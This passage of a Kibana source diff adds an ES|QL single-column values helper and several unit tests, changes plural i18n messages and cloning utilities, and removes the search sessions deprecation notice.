+ }, + }); + const result = (await getESQLSingleColumnValues({ + query: 'FROM index', + search: searchMock, + })) as GetESQLSingleColumnValuesFailure; + expect(getESQLSingleColumnValues.isSuccess(result)).toBe(false); + expect('values' in result).toBe(false); + expect(result).toMatchInlineSnapshot(` + Object { + "errors": Array [ + [Error: Query must return a single column], + ], + } + `); + }); + it('returns an error on a failed query', async () => { + mockGetESQLResults.mockRejectedValueOnce('Invalid ES|QL query'); + const result = (await getESQLSingleColumnValues({ + query: 'FROM index | EVAL', + search: searchMock, + })) as GetESQLSingleColumnValuesFailure; + expect(getESQLSingleColumnValues.isSuccess(result)).toBe(false); + expect('values' in result).toBe(false); + expect(result).toMatchInlineSnapshot(` + Object { + "errors": Array [ + "Invalid ES|QL query", + ], + } + `); + }); + + it('passes timeRange successfully', async () => { + const timeRange = { from: 'now-10m', to: 'now' }; + await getESQLSingleColumnValues({ + query: 'FROM index | STATS BY column', + search: searchMock, + timeRange, + }); + expect(mockGetESQLResults).toHaveBeenCalledWith( + expect.objectContaining({ + timeRange, + }) + ); + }); +}); diff --git a/src/platform/plugins/shared/controls/public/controls/esql_control/utils/get_esql_single_column_values.ts b/src/platform/plugins/shared/controls/public/controls/esql_control/utils/get_esql_single_column_values.ts new file mode 100644 index 0000000000000..ed3afeb820b3a --- /dev/null +++ b/src/platform/plugins/shared/controls/public/controls/esql_control/utils/get_esql_single_column_values.ts @@ -0,0 +1,62 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the "Elastic License + * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side + * Public License v 1"; you may not use this file except in compliance with, at + * your election, the "Elastic License 2.0", the "GNU Affero General Public + * License v3.0 only", or the "Server Side Public License, v 1". + */ + +import type { ISearchGeneric } from '@kbn/search-types'; +import type { TimeRange } from '@kbn/es-query'; +import { getESQLResults } from '@kbn/esql-utils'; + +export interface GetESQLSingleColumnValuesSuccess { + values: string[]; +} + +export interface GetESQLSingleColumnValuesFailure { + errors: Error[]; +} + +interface GetESQLSingleColumnValuesParams { + query: string; + search: ISearchGeneric; + timeRange?: TimeRange; +} +export const getESQLSingleColumnValues = async ({ + query, + search, + timeRange, +}: GetESQLSingleColumnValuesParams): Promise< + GetESQLSingleColumnValuesSuccess | GetESQLSingleColumnValuesFailure +> => { + try { + const results = await getESQLResults({ + esqlQuery: query, + search, + signal: undefined, + filter: undefined, + dropNullColumns: true, + timeRange, + }); + const columns = results.response.columns.map((col) => col.name); + + if (columns.length === 1) { + const values = results.response.values + .map((value) => value[0]) + .filter(Boolean) + .map((option) => String(option)); + return { values }; + } + + return { errors: [new Error('Query must return a single column')] }; + } catch (e) { + return { errors: [e] }; + } +}; + +getESQLSingleColumnValues.isSuccess = ( + result: unknown +): result is GetESQLSingleColumnValuesSuccess => + 'values' in (result as GetESQLSingleColumnValuesSuccess); diff --git a/src/platform/plugins/shared/controls/public/controls/mocks/control_mocks.ts b/src/platform/plugins/shared/controls/public/controls/mocks/control_mocks.ts index d8acd0a15aa1b..b81363536f599 100644 --- a/src/platform/plugins/shared/controls/public/controls/mocks/control_mocks.ts +++ b/src/platform/plugins/shared/controls/public/controls/mocks/control_mocks.ts @@ -25,12 +25,18 @@ export const getMockedControlGroupApi = ( overwriteApi?: Partial ) => { const controlStateMap: Record>> = {}; + const controlFetchMap = new Map>(); return { type: CONTROL_GROUP_TYPE, parentApi: dashboardApi, autoApplySelections$: new BehaviorSubject(true), ignoreParentSettings$: new BehaviorSubject(undefined), - controlFetch$: () => new BehaviorSubject({}), + controlFetch$: (uuid: string) => { + if (!controlFetchMap.has(uuid)) { + controlFetchMap.set(uuid, new BehaviorSubject({})); + } + return controlFetchMap.get(uuid); + }, allowExpensiveQueries$: new BehaviorSubject(true), lastSavedStateForChild$: (childId: string) => controlStateMap[childId] ?? of(undefined), getLastSavedStateForChild: (childId: string) => { diff --git a/src/platform/plugins/shared/controls/tsconfig.json b/src/platform/plugins/shared/controls/tsconfig.json index 60d876384a42b..df908fc17ed10 100644 --- a/src/platform/plugins/shared/controls/tsconfig.json +++ b/src/platform/plugins/shared/controls/tsconfig.json @@ -41,6 +41,8 @@ "@kbn/react-hooks", "@kbn/esql-types", "@kbn/css-utils", + "@kbn/esql-utils", + "@kbn/search-types" ], "exclude": ["target/**/*"] } diff --git a/src/platform/plugins/shared/dashboard/public/dashboard_actions/library_add_action.test.tsx b/src/platform/plugins/shared/dashboard/public/dashboard_actions/library_add_action.test.tsx new file mode 100644 index 0000000000000..03d169c0a27ba --- /dev/null +++ b/src/platform/plugins/shared/dashboard/public/dashboard_actions/library_add_action.test.tsx @@ -0,0 +1,75 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the "Elastic License + * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side + * Public License v 1"; you may not use this file except in compliance with, at + * your election, the "Elastic License 2.0", the "GNU Affero General Public + * License v3.0 only", or the "Server Side Public License, v 1". + */ + +import React from 'react'; +import type { OnSaveProps } from '@kbn/saved-objects-plugin/public'; +import { AddPanelToLibraryActionApi, AddToLibraryAction } from './library_add_action'; +import { BehaviorSubject } from 'rxjs'; + +jest.mock('@kbn/saved-objects-plugin/public', () => { + // eslint-disable-next-line @typescript-eslint/no-var-requires + const { render } = require('@testing-library/react'); + const MockSavedObjectSaveModal = ({ onSave }: { onSave: (props: OnSaveProps) => void }) => { + onSave({ + newTitle: 'Library panel one', + newCopyOnSave: true, + isTitleDuplicateConfirmed: false, + onTitleDuplicate: () => {}, + newDescription: '', + }); + return null; + }; + return { + SavedObjectSaveModal: MockSavedObjectSaveModal, + showSaveModal: (saveModal: React.ReactElement) => { + render(saveModal); + }, + }; +}); + +describe('AddToLibraryAction', () => { + const action = new AddToLibraryAction(); + const saveToLibraryMock = jest.fn(async () => 'libraryId1'); + const replacePanelMock = jest.fn(); + const embeddableApi = { + checkForDuplicateTitle: async () => {}, + canLinkToLibrary: async () => true, + canUnlinkFromLibrary: async () => false, + getSerializedStateByReference: () => ({ rawState: { savedObjectId: 'libraryId1' } }), + getSerializedStateByValue: () => ({ rawState: {} }), + parentApi: { + replacePanel: replacePanelMock, + viewMode$: new BehaviorSubject('edit'), + }, + saveToLibrary: saveToLibraryMock, + type: 'testEmbeddable', + uuid: '1', + } as AddPanelToLibraryActionApi; + + beforeEach(() => { + jest.clearAllMocks(); + }); + + describe('execute', () => { + test('should save panel to library and replace panel with library panel', async () => { + await action.execute({ embeddable: embeddableApi }); + expect(saveToLibraryMock).toHaveBeenCalled(); + expect(replacePanelMock).toHaveBeenCalledWith('1', { + panelType: 'testEmbeddable', + serializedState: { + rawState: { + savedObjectId: 'libraryId1', + title: 'Library panel one', + }, + references: undefined, + }, + }); + }); + }); +}); diff --git a/src/platform/plugins/shared/dashboard/public/dashboard_actions/library_unlink_action.test.ts b/src/platform/plugins/shared/dashboard/public/dashboard_actions/library_unlink_action.test.ts new file mode 100644 index 0000000000000..41ee0c1e0066c --- /dev/null +++ b/src/platform/plugins/shared/dashboard/public/dashboard_actions/library_unlink_action.test.ts @@ -0,0 +1,52 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the "Elastic License + * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side + * Public License v 1"; you may not use this file except in compliance with, at + * your election, the "Elastic License 2.0", the "GNU Affero General Public + * License v3.0 only", or the "Server Side Public License, v 1". + */ + +import { BehaviorSubject } from 'rxjs'; +import { UnlinkFromLibraryAction, UnlinkPanelFromLibraryActionApi } from './library_unlink_action'; + +describe('AddToLibraryAction', () => { + const action = new UnlinkFromLibraryAction(); + const replacePanelMock = jest.fn(); + const embeddableApi = { + defaultTitle$: new BehaviorSubject('Panel one'), + checkForDuplicateTitle: async () => {}, + canLinkToLibrary: async () => false, + canUnlinkFromLibrary: async () => true, + getSerializedStateByReference: () => ({ rawState: {} }), + getSerializedStateByValue: () => ({ rawState: { key1: 'value1' } }), + parentApi: { + replacePanel: replacePanelMock, + viewMode$: new BehaviorSubject('edit'), + }, + saveToLibrary: async () => 'libraryId1', + type: 'testEmbeddable', + uuid: '1', + } as UnlinkPanelFromLibraryActionApi; + + beforeEach(() => { + jest.clearAllMocks(); + }); + + describe('execute', () => { + test('should replace panel with by value panel', async () => { + await action.execute({ embeddable: embeddableApi }); + expect(replacePanelMock).toHaveBeenCalledWith('1', { + panelType: 'testEmbeddable', + serializedState: { + rawState: { + key1: 'value1', + // should get default title from by reference embeddable + title: 'Panel one', + }, + references: undefined, + }, + }); + }); + }); +}); diff --git a/src/platform/plugins/shared/dashboard/public/dashboard_api/data_views_manager.ts b/src/platform/plugins/shared/dashboard/public/dashboard_api/data_views_manager.ts index 34d2d10433292..ce1b799d3ee7c 100644 --- a/src/platform/plugins/shared/dashboard/public/dashboard_api/data_views_manager.ts +++ b/src/platform/plugins/shared/dashboard/public/dashboard_api/data_views_manager.ts @@ -42,7 +42,10 @@ export function initializeDataViewsManager( const dataViewsSubscription = combineLatest([controlGroupDataViewsPipe, childDataViewsPipe]) .pipe( switchMap(async ([controlGroupDataViews, childDataViews]) => { - const allDataViews = [...(controlGroupDataViews ?? []), ...childDataViews]; + const allDataViews = [...(controlGroupDataViews ?? []), ...childDataViews].filter( + (dataView) => dataView.isPersisted() + ); + if (allDataViews.length === 0) { try { const defaultDataView = await dataService.dataViews.getDefaultDataView(); diff --git a/src/platform/plugins/shared/dashboard/public/dashboard_api/get_dashboard_api.ts b/src/platform/plugins/shared/dashboard/public/dashboard_api/get_dashboard_api.ts index 032c16b571f3c..7afd1555a0c96 100644 --- a/src/platform/plugins/shared/dashboard/public/dashboard_api/get_dashboard_api.ts +++ b/src/platform/plugins/shared/dashboard/public/dashboard_api/get_dashboard_api.ts @@ -68,11 +68,7 @@ export function getDashboardApi({ if (id === CONTROL_GROUP_EMBEDDABLE_ID) { return getReferencesForControls(references$.value ?? []); } - - const panelReferences = getReferencesForPanelId(id, references$.value ?? []); - // references from old installations may not be prefixed with panel id - // fall back to passing all references in these cases to preserve backwards compatability - return panelReferences.length > 0 ? panelReferences : references$.value ?? []; + return getReferencesForPanelId(id, references$.value ?? []); }; const layoutManager = initializeLayoutManager( @@ -210,6 +206,7 @@ export function getDashboardApi({ lastSavedId: savedObjectId$.value, }); + if (saveResult?.error) return; unsavedChangesManager.internalApi.onSave(dashboardState, searchSourceReferences); references$.next(saveResult.references); diff --git a/src/platform/plugins/shared/dashboard/public/dashboard_renderer/grid/highlight_styles.tsx b/src/platform/plugins/shared/dashboard/public/dashboard_renderer/grid/highlight_styles.tsx index d7ec5357857bd..5c8666fa0a5d1 100644 --- a/src/platform/plugins/shared/dashboard/public/dashboard_renderer/grid/highlight_styles.tsx +++ b/src/platform/plugins/shared/dashboard/public/dashboard_renderer/grid/highlight_styles.tsx @@ -87,9 +87,9 @@ export const getHighlightStyles = (context: UseEuiTheme) => { 'z-index': -1, width: 'calc(100% + 10px)', height: 'calc(100% + 10px)', - 'background-image': rotatingGradient, + backgroundImage: rotatingGradient, filter: brightenInDarkMode(1.5), - 'border-radius': euiTheme.border.radius.medium, + borderRadius: euiTheme.border.radius.medium, animation: `${borderSpinKeyframes} ${highlightAnimationDuration}ms ease-out`, }, '&.dshDashboardGrid__item--highlighted .embPanel::after': { @@ -101,7 +101,7 @@ export const getHighlightStyles = (context: UseEuiTheme) => { 'z-index': -2, width: 'calc(100% + 30px)', height: 'calc(100% + 30px)', - 'background-image': rotatingGradient, + backgroundImage: rotatingGradient, filter: `${brightenInDarkMode(1.3)} blur(25px)`, animation: `${shineKeyframes} ${highlightAnimationDuration}ms ease-out`, }, diff --git a/src/platform/plugins/shared/dashboard/public/dashboard_renderer/print_styles.tsx b/src/platform/plugins/shared/dashboard/public/dashboard_renderer/print_styles.tsx index e159b7e197aab..8eb74c1cb7f4d 100644 --- a/src/platform/plugins/shared/dashboard/public/dashboard_renderer/print_styles.tsx +++ b/src/platform/plugins/shared/dashboard/public/dashboard_renderer/print_styles.tsx @@ -65,7 +65,7 @@ const styles = css({ content: '" [" attr(href) "]"', }, figure: { - 'page-break-inside': 'avoid', + pageBreakInside: 'avoid', }, '*': { printColorAdjust: 'exact !important', diff --git a/src/platform/plugins/shared/data/common/search/aggs/agg_configs.ts b/src/platform/plugins/shared/data/common/search/aggs/agg_configs.ts index 6956bedbd80e5..df93daef3e487 100644 --- a/src/platform/plugins/shared/data/common/search/aggs/agg_configs.ts +++ b/src/platform/plugins/shared/data/common/search/aggs/agg_configs.ts @@ -8,7 +8,7 @@ */ import moment from 'moment-timezone'; -import _, { cloneDeep } from 'lodash'; +import _ from 'lodash'; import { i18n } from '@kbn/i18n'; import type { Assign } from '@kbn/utility-types'; import { isRangeFilter, TimeRange, RangeFilter } from '@kbn/es-query'; @@ -472,9 +472,8 @@ export class AggConfigs { if (!this.hasTimeShifts()) { return response; } - let transformedRawResponse = response.rawResponse; + const transformedRawResponse = structuredClone(response.rawResponse); if (!response.rawResponse.aggregations) { - transformedRawResponse = cloneDeep(response.rawResponse); transformedRawResponse.aggregations = { doc_count: response.rawResponse.hits?.total as estypes.AggregationsAggregate, }; diff --git a/src/platform/plugins/shared/data/common/search/aggs/buckets/_terms_other_bucket_helper.ts b/src/platform/plugins/shared/data/common/search/aggs/buckets/_terms_other_bucket_helper.ts index e56795ad71786..309e53cb7f7a4 100644 --- a/src/platform/plugins/shared/data/common/search/aggs/buckets/_terms_other_bucket_helper.ts +++ b/src/platform/plugins/shared/data/common/search/aggs/buckets/_terms_other_bucket_helper.ts @@ -7,7 +7,7 @@ * License v3.0 only", or the "Server Side Public License, v 1". */ -import { isNumber, keys, values, find, each, cloneDeep, flatten } from 'lodash'; +import { isNumber, keys, values, find, each, flatten } from 'lodash'; import { i18n } from '@kbn/i18n'; import type { estypes } from '@elastic/elasticsearch'; import { @@ -227,7 +227,7 @@ export const buildOtherBucketAgg = ( bucket, isNumber(bucketObjKey) ? undefined : bucketObjKey ); - const filter = cloneDeep(bucket.filters) || currentAgg.createFilter(bucketKey); + const filter = structuredClone(bucket.filters) || currentAgg.createFilter(bucketKey); const newFilters = flatten([...filters, filter]); walkBucketTree( newAggIndex, @@ -306,8 +306,12 @@ export const mergeOtherBucketAggResponse = ( requestAgg: Record, otherFilterBuilder: (requestAgg: Record, key: string, otherAgg: IAggConfig) => Filter ): estypes.SearchResponse => { - const updatedResponse = cloneDeep(response); - const aggregationsRoot = getCorrectAggregationsCursorFromResponse(otherResponse, aggsConfig); + const updatedResponse = structuredClone(response); + const updatedOtherResponse = structuredClone(otherResponse); + const aggregationsRoot = getCorrectAggregationsCursorFromResponse( + updatedOtherResponse, + aggsConfig + ); const updatedAggregationsRoot = getCorrectAggregationsCursorFromResponse( updatedResponse, aggsConfig @@ -349,7 +353,7 @@ export const updateMissingBucket = ( aggConfigs: IAggConfigs, agg: IAggConfig ) => { - const updatedResponse = cloneDeep(response); + const updatedResponse = structuredClone(response); const aggResultBuckets = getAggConfigResultMissingBuckets( getCorrectAggregationsCursorFromResponse(updatedResponse, aggConfigs), agg.id diff --git a/src/platform/plugins/shared/data/public/search/search_interceptor/search_interceptor.ts b/src/platform/plugins/shared/data/public/search/search_interceptor/search_interceptor.ts index 93dd5e666f4a2..bbe521f689dfa 100644 --- a/src/platform/plugins/shared/data/public/search/search_interceptor/search_interceptor.ts +++ b/src/platform/plugins/shared/data/public/search/search_interceptor/search_interceptor.ts @@ -64,6 +64,7 @@ import type { } from '@kbn/search-types'; import { createEsError, isEsError, renderSearchError } from '@kbn/search-errors'; import type { IKibanaSearchResponse, ISearchOptions } from '@kbn/search-types'; +import { defaultFreeze } from '@kbn/kibana-utils-plugin/common'; import { EVENT_TYPE_DATA_SEARCH_TIMEOUT, EVENT_PROPERTY_SEARCH_TIMEOUT_MS, @@ -623,6 +624,8 @@ export class SearchInterceptor { ) { this.showRestoreWarning(sessionId); } + + defaultFreeze(response); }), finalize(() => { this.pendingCount$.next(this.pendingCount$.getValue() - 1); diff --git a/src/platform/plugins/shared/data/public/search/session/sessions_mgmt/lib/get_expiration_status.test.ts b/src/platform/plugins/shared/data/public/search/session/sessions_mgmt/lib/get_expiration_status.test.ts new file mode 100644 index 0000000000000..bff12b8755477 --- /dev/null +++ b/src/platform/plugins/shared/data/public/search/session/sessions_mgmt/lib/get_expiration_status.test.ts @@ -0,0 +1,109 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the "Elastic License + * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side + * Public License v 1"; you may not use this file except in compliance with, at + * your election, the "Elastic License 2.0", the "GNU Affero General Public + * License v3.0 only", or the "Server Side Public License, v 1". + */ + +import moment from 'moment'; +import { getExpirationStatus } from './get_expiration_status'; + +const CURRENT_MOCK_DATE = '2025-01-01T00:00:00.000Z'; + +beforeEach(() => { + jest.useFakeTimers().setSystemTime(new Date(CURRENT_MOCK_DATE)); +}); + +const setup = ({ + expiresSoonWarning = moment.duration(7, 'days'), + expires, +}: { + expiresSoonWarning?: moment.Duration; + expires: string; +}) => { + return getExpirationStatus( + { + enabled: true, + notTouchedTimeout: moment.duration(0), + maxUpdateRetries: 0, + defaultExpiration: moment.duration(0), + management: { + expiresSoonWarning, + refreshInterval: moment.duration(0), + refreshTimeout: moment.duration(0), + maxSessions: 0, + }, + }, + expires || CURRENT_MOCK_DATE + ); +}; + +describe('getExpirationStatus', () => { + describe('when it expires in more than the configured expiresSoonWarning', () => { + it('returns undefined', () => { + const status = setup({ + expiresSoonWarning: moment.duration(7, 'days'), + expires: moment.utc(CURRENT_MOCK_DATE).add(8, 'days').toISOString(), + }); + expect(status).toBeUndefined(); + }); + }); + + describe('when it expires in less than the configured expiresSoonWarning', () => { + describe('when it expires in 1 day', () => { + it('should return the correct stastus', () => { + const status = setup({ + expiresSoonWarning: moment.duration(7, 'days'), + expires: moment.utc(CURRENT_MOCK_DATE).add(1, 'day').toISOString(), + }); + expect(status).toEqual({ + toolTipContent: 'Expires in 1 day', + statusContent: '1 day', + }); + }); + }); + + describe('when it expires in 2 days', () => { + it('should return the correct status', () => { + const status = setup({ + expiresSoonWarning: moment.duration(7, 'days'), + expires: moment.utc(CURRENT_MOCK_DATE).add(2, 'days').toISOString(), + }); + expect(status).toEqual({ + toolTipContent: 'Expires in 2 days', + statusContent: '2 days', + }); + }); + }); + + describe('when it expires in less than 1 day', () => { + describe('when it expires in 1 hour', () => { + it('should return the correct status', () => { + const status = setup({ + expiresSoonWarning: moment.duration(7, 'days'), + expires: moment.utc(CURRENT_MOCK_DATE).add(1, 'hour').toISOString(), + }); + expect(status).toEqual({ + toolTipContent: 'This session expires in 1 hour', + statusContent: '1 hour', + }); + }); + }); + + describe('when it expires in 2 hours', () => { + it('should return the correct status', () => { + const status = setup({ + expiresSoonWarning: moment.duration(7, 'days'), + expires: moment.utc(CURRENT_MOCK_DATE).add(2, 'hours').toISOString(), + }); + expect(status).toEqual({ + toolTipContent: 'This session expires in 2 hours', + statusContent: '2 hours', + }); + }); + }); + }); + }); +}); diff --git a/src/platform/plugins/shared/data/public/search/session/sessions_mgmt/lib/get_expiration_status.ts b/src/platform/plugins/shared/data/public/search/session/sessions_mgmt/lib/get_expiration_status.ts index f3240af757416..4a63deb17f001 100644 --- a/src/platform/plugins/shared/data/public/search/session/sessions_mgmt/lib/get_expiration_status.ts +++ b/src/platform/plugins/shared/data/public/search/session/sessions_mgmt/lib/get_expiration_status.ts @@ -22,11 +22,11 @@ export const getExpirationStatus = (config: SearchSessionsConfigSchema, expires: const sufficientDays = Math.ceil(moment.duration(config.management.expiresSoonWarning).asDays()); let toolTipContent = i18n.translate('data.mgmt.searchSessions.status.expiresSoonInDays', { - defaultMessage: 'Expires in {numDays} days', + defaultMessage: 'Expires in {numDays, plural, one {# day} other {# days}}', values: { numDays: expiresInDays }, }); let statusContent = i18n.translate('data.mgmt.searchSessions.status.expiresSoonInDaysTooltip', { - defaultMessage: '{numDays} days', + defaultMessage: '{numDays, plural, one {# day} other {# days}}', values: { numDays: expiresInDays }, }); @@ -35,11 +35,11 @@ export const getExpirationStatus = (config: SearchSessionsConfigSchema, expires: const expiresInHours = Math.floor(durationToExpire.asHours()); toolTipContent = i18n.translate('data.mgmt.searchSessions.status.expiresSoonInHours', { - defaultMessage: 'This session expires in {numHours} hours', + defaultMessage: 'This session expires in {numHours, plural, one {# hour} other {# hours}}', values: { numHours: expiresInHours }, }); statusContent = i18n.translate('data.mgmt.searchSessions.status.expiresSoonInHoursTooltip', { - defaultMessage: '{numHours} hours', + defaultMessage: '{numHours, plural, one {# hour} other {# hours}}', values: { numHours: expiresInHours }, }); } diff --git a/src/platform/plugins/shared/data/server/deprecations/search_sessions.ts b/src/platform/plugins/shared/data/server/deprecations/search_sessions.ts deleted file mode 100644 index 2fdd42fd2d898..0000000000000 --- a/src/platform/plugins/shared/data/server/deprecations/search_sessions.ts +++ /dev/null @@ -1,93 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the "Elastic License - * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side - * Public License v 1"; you may not use this file except in compliance with, at - * your election, the "Elastic License 2.0", the "GNU Affero General Public - * License v3.0 only", or the "Server Side Public License, v 1". - */ - -import type { - CoreSetup, - DeprecationsDetails, - GetDeprecationsContext, - RegisterDeprecationsConfig, - SavedObjectsFindResult, -} from '@kbn/core/server'; -import { i18n } from '@kbn/i18n'; -import type { DeprecationDetailsMessage } from '@kbn/core-deprecations-common'; -import { SEARCH_SESSION_TYPE, SearchSessionSavedObjectAttributes } from '../../common'; - -type SearchSessionAttributes = Pick< - SearchSessionSavedObjectAttributes, - 'name' | 'username' | 'expires' ->; - -export const createSearchSessionsDeprecationsConfig: ( - core: CoreSetup -) => RegisterDeprecationsConfig = (core: CoreSetup) => ({ - getDeprecations: async (context: GetDeprecationsContext): Promise => { - const searchSessionsLink = core.http.basePath.prepend('/app/management/kibana/search_sessions'); - const [coreStart] = await core.getStartServices(); - const savedObjectsClient = coreStart.savedObjects.getScopedClient(context.request, { - includedHiddenTypes: [SEARCH_SESSION_TYPE], - }); - const results = await savedObjectsClient.find({ - type: 'search-session', - perPage: 1000, - fields: ['name', 'username', 'expires'], - sortField: 'created', - sortOrder: 'desc', - namespaces: ['*'], - }); - - const searchSessions: Array> = - results.saved_objects.filter((so) => new Date(so.attributes.expires).getTime() > Date.now()); - - if (!searchSessions.length) { - return []; - } - - return [ - { - title: i18n.translate('data.deprecations.searchSessionsTitle', { - defaultMessage: 'Search sessions will be disabled by default', - }), - message: buildMessage({ searchSessions, searchSessionsLink }), - deprecationType: 'feature', - level: 'warning', - correctiveActions: { - manualSteps: [ - i18n.translate('data.deprecations.searchSessions.manualStepOneMessage', { - defaultMessage: 'Navigate to Stack Management > Kibana > Search Sessions', - }), - i18n.translate('data.deprecations.searchSessions.manualStepTwoMessage', { - defaultMessage: 'Delete search sessions that have not expired', - }), - i18n.translate('data.deprecations.searchSessions.manualStepTwoMessage', { - defaultMessage: - 'Alternatively, to continue using search sessions until 9.1, open the kibana.yml config file and add the following: "data.search.sessions.enabled: true"', - }), - ], - }, - }, - ]; - }, -}); - -const buildMessage = ({ - searchSessions, - searchSessionsLink, -}: { - searchSessions: Array>; - searchSessionsLink: string; -}): DeprecationDetailsMessage => ({ - type: 'markdown', - content: i18n.translate('data.deprecations.scriptedFieldsMessage', { - defaultMessage: `The search sessions feature is deprecated and is disabled by default in 9.0. You currently have {numberOfSearchSessions} active search session(s): [Manage Search Sessions]({searchSessionsLink})`, - values: { - numberOfSearchSessions: searchSessions.length, - searchSessionsLink, - }, - }), -}); diff --git a/src/platform/plugins/shared/data/server/plugin.ts b/src/platform/plugins/shared/data/server/plugin.ts index 885e4a3c1368e..c18353960db57 100644 --- a/src/platform/plugins/shared/data/server/plugin.ts +++ b/src/platform/plugins/shared/data/server/plugin.ts @@ -12,7 +12,6 @@ import { ExpressionsServerSetup } from '@kbn/expressions-plugin/server'; import { PluginStart as DataViewsServerPluginStart } from '@kbn/data-views-plugin/server'; import { UsageCollectionSetup } from '@kbn/usage-collection-plugin/server'; import { FieldFormatsSetup, FieldFormatsStart } from '@kbn/field-formats-plugin/server'; -import { createSearchSessionsDeprecationsConfig } from './deprecations'; import { ConfigSchema } from './config'; import type { ISearchSetup, ISearchStart } from './search'; import { DatatableUtilitiesService } from './datatable_utilities'; @@ -91,7 +90,6 @@ export class DataServerPlugin this.kqlTelemetryService.setup(core, { usageCollection }); core.uiSettings.register(getUiSettings(core.docLinks, this.config.enableUiSettingsValidations)); - core.deprecations.registerDeprecations(createSearchSessionsDeprecationsConfig(core)); const searchSetup = this.searchService.setup(core, { expressions, diff --git a/src/platform/plugins/shared/data/server/query/route_handler_context.test.ts b/src/platform/plugins/shared/data/server/query/route_handler_context.test.ts index 6e9adc25c45fb..c227fbf1cf390 100644 --- a/src/platform/plugins/shared/data/server/query/route_handler_context.test.ts +++ b/src/platform/plugins/shared/data/server/query/route_handler_context.test.ts @@ -220,34 +220,74 @@ describe('saved query route handler context', () => { }); describe('update', function () { - it('should update a saved object for the given attributes', async () => { - const mockResponse: SavedObject = { - id: 'foo', - type: 'query', - attributes: internalSavedQueryAttributes, - references: [], - }; + beforeEach(() => { mockSavedObjectsClient.find.mockResolvedValue({ total: 0, page: 0, per_page: 0, saved_objects: [], }); - mockSavedObjectsClient.update.mockResolvedValue(mockResponse); + }); + + describe('when the saved query does not have namespaces', () => { + it('should update a saved object for the given attributes', async () => { + // Given + const mockResponse: SavedObject = { + id: 'foo', + type: 'query', + attributes: internalSavedQueryAttributes, + references: [], + }; + mockSavedObjectsClient.update.mockResolvedValue(mockResponse); - const response = await context.update('foo', savedQueryAttributes); + // When + const response = await context.update('foo', savedQueryAttributes); - expect(mockSavedObjectsClient.update).toHaveBeenCalledWith( - 'query', - 'foo', - { ...internalSavedQueryAttributes, timefilter: null }, - { + // Then + expect(mockSavedObjectsClient.update).toHaveBeenCalledWith( + 'query', + 'foo', + { ...internalSavedQueryAttributes, timefilter: null }, + { + references: [], + } + ); + expect(response).toEqual({ + id: 'foo', + attributes: savedQueryAttributes, + }); + }); + }); + + describe('when the saved query has namespaces', () => { + it('should update a saved object for the given attributes', async () => { + // Given + const mockResponse: SavedObject = { + id: 'foo', + type: 'query', + attributes: internalSavedQueryAttributes, references: [], - } - ); - expect(response).toEqual({ - id: 'foo', - attributes: savedQueryAttributes, + namespaces: ['default'], + }; + mockSavedObjectsClient.update.mockResolvedValue(mockResponse); + + // When + const response = await context.update('foo', savedQueryAttributes); + + // Then + expect(mockSavedObjectsClient.update).toHaveBeenCalledWith( + 'query', + 'foo', + { ...internalSavedQueryAttributes, timefilter: null }, + { + references: [], + } + ); + expect(response).toEqual({ + id: 'foo', + attributes: savedQueryAttributes, + namespaces: ['default'], + }); }); }); diff --git a/src/platform/plugins/shared/data/server/query/route_handler_context.ts b/src/platform/plugins/shared/data/server/query/route_handler_context.ts index 647d7f1bdd118..39ccbd7add5b9 100644 --- a/src/platform/plugins/shared/data/server/query/route_handler_context.ts +++ b/src/platform/plugins/shared/data/server/query/route_handler_context.ts @@ -179,7 +179,7 @@ export async function registerSavedQueryRouteHandlerContext(context: RequestHand // TODO: Handle properly if (savedObject.error) throw internal(savedObject.error.message); - return injectReferences({ id, attributes, references }); + return injectReferences({ id, attributes, references, namespaces: savedObject.namespaces }); }; const getSavedQuery = async (id: string): Promise => { diff --git a/src/platform/plugins/shared/data/server/search/routes/response_schema.ts b/src/platform/plugins/shared/data/server/search/routes/response_schema.ts index 1377c0802d967..3ddd438638f5b 100644 --- a/src/platform/plugins/shared/data/server/search/routes/response_schema.ts +++ b/src/platform/plugins/shared/data/server/search/routes/response_schema.ts @@ -68,6 +68,7 @@ export const searchSessionsUpdateSchema = () => id: schema.string(), type: schema.string(), updated_at: schema.maybe(schema.string()), + updated_by: schema.maybe(schema.string()), version: schema.maybe(schema.string()), namespaces: schema.maybe(schema.arrayOf(schema.string())), references: schema.maybe(referencesSchema), diff --git a/src/platform/plugins/shared/data/tsconfig.json b/src/platform/plugins/shared/data/tsconfig.json index bb6cf836328b9..363bbd9eb8477 100644 --- a/src/platform/plugins/shared/data/tsconfig.json +++ b/src/platform/plugins/shared/data/tsconfig.json @@ -54,7 +54,6 @@ "@kbn/safer-lodash-set", "@kbn/esql-utils", "@kbn/shared-ux-table-persist", - "@kbn/core-deprecations-common", "@kbn/core-execution-context-common", "@kbn/logging", "@kbn/core-execution-context-server", diff --git a/src/platform/plugins/shared/data_view_editor/public/components/form_fields/name_field.tsx b/src/platform/plugins/shared/data_view_editor/public/components/form_fields/name_field.tsx index d58959fdf7368..32413b6011224 100644 --- a/src/platform/plugins/shared/data_view_editor/public/components/form_fields/name_field.tsx +++ b/src/platform/plugins/shared/data_view_editor/public/components/form_fields/name_field.tsx @@ -78,6 +78,7 @@ export const NameField = ({ namesNotAllowed }: NameFieldProps) => { return ( ) => { field.setValue(e.target.value); diff --git a/src/platform/plugins/shared/data_view_editor/public/components/form_fields/timestamp_field.tsx b/src/platform/plugins/shared/data_view_editor/public/components/form_fields/timestamp_field.tsx index 2672fbbcab51a..31a9d30faf08c 100644 --- a/src/platform/plugins/shared/data_view_editor/public/components/form_fields/timestamp_field.tsx +++ b/src/platform/plugins/shared/data_view_editor/public/components/form_fields/timestamp_field.tsx @@ -114,16 +114,19 @@ export const TimestampField = ({ options$, isLoadingOptions$, matchedIndices$ }: } } + const 